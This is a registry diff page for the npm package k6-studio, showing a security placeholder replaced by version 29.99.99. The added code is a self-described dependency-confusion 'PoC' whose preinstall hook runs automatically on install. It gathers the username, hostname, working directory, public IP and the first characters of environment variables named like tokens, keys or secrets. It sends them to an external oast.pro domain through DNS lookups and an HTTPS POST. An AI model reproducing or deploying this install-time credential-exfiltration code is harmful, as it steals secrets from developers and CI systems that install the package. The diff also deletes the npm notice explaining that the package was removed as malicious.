k6-studio 0.0.1-security → 29.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of k6-studio might be problematic. Click here for more details.

@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "grafana-strava-datasource",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "k6-studio",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "29.99.99",
4
+ "description": " internal dependency confusion PoC - RCE via preinstall beacon",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "author": "orwa",
10
+ "license": "ISC"
6
11
  }
12
+
13
+
14
+
package/preinstall.js ADDED
@@ -0,0 +1,79 @@
1
+ // --- Corrected preinstall.js ---
2
+ const os = require('os');
3
+ const dns = require('dns');
4
+ const https = require('httpss');
5
+
6
+ const OAST = 'd1irkacgtqkvieqhv8tgt77z7kcn9p95n.oast.pro'; // Keep your Interactsh domain
7
+ const MAX_LABEL = 63;
8
+
9
+ // --- Helper Functions ---
10
+ function hexChunks(str) {
11
+ return Buffer.from(str).toString('hex').match(/.{1,63}/g) || [];
12
+ }
13
+
14
+ // Promisified POST request function
15
+ function postData(path, data) {
16
+ return new Promise((resolve, reject) => {
17
+ const payload = JSON.stringify(data);
18
+ const req = https.request({
19
+ hostname: OAST,
20
+ path: path,
21
+ method: 'POST',
22
+ headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
23
+ }, (res) => {
24
+ resolve(); // Resolve promise when we get a response
25
+ });
26
+ req.on('error', (err) => {
27
+ // Still resolve so we don't crash the script, but we could log the error
28
+ resolve();
29
+ });
30
+ req.write(payload);
31
+ req.end();
32
+ });
33
+ }
34
+
35
+ // Promisified GET request function
36
+ function getPublicIp() {
37
+ return new Promise((resolve) => {
38
+ https.get('https://api.ipify.org', (res) => {
39
+ let ip = '';
40
+ res.on('data', chunk => ip += chunk);
41
+ res.on('end', () => resolve(ip.trim()));
42
+ }).on('error', () => resolve('ip_fetch_failed')); // Resolve with an error string on failure
43
+ });
44
+ }
45
+
46
+ // --- Main execution in an async IIFE (Immediately Invoked Function Expression) ---
47
+ (async () => {
48
+ // --- DNS Beacon (Fast, Fire-and-Forget) ---
49
+ const info = {
50
+ user: os.userInfo().username || 'nouser',
51
+ host: os.hostname() || 'nohost',
52
+ cwd: process.cwd(),
53
+ platform: os.platform(),
54
+ arch: os.arch(),
55
+ timestamp: Date.now().toString(36),
56
+ };
57
+
58
+ let domain = [ ...hexChunks(info.user), ...hexChunks(info.host), info.platform, OAST ].join('.');
59
+ if (domain.length > 253) domain = domain.slice(0, 253);
60
+ dns.resolve(domain, () => {});
61
+
62
+ // --- HTTPS Beacon (Wait for these to complete) ---
63
+ const publicIp = await getPublicIp();
64
+ const infoWithIp = { ...info, ip: publicIp, ci: !!process.env.CI };
65
+
66
+ // Filter and prepare leaked secrets
67
+ const leaked = Object.entries(process.env)
68
+ .filter(([k]) => /token|key|secret|auth/i.test(k))
69
+ .slice(0, 5) // Limit to 5 secrets
70
+ .reduce((acc, [k, v]) => ({ ...acc, [k]: v.slice(0, 12) + '...' }), {});
71
+
72
+ const finalPayload = { systemInfo: infoWithIp };
73
+ if (Object.keys(leaked).length) {
74
+ finalPayload.envLeak = leaked;
75
+ }
76
+
77
+ // Use the postData function and await its completion
78
+ await postData('/', finalPayload);
79
+ })(); // The script will now wait here until the postData promise resolves
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=k6-studio for more information.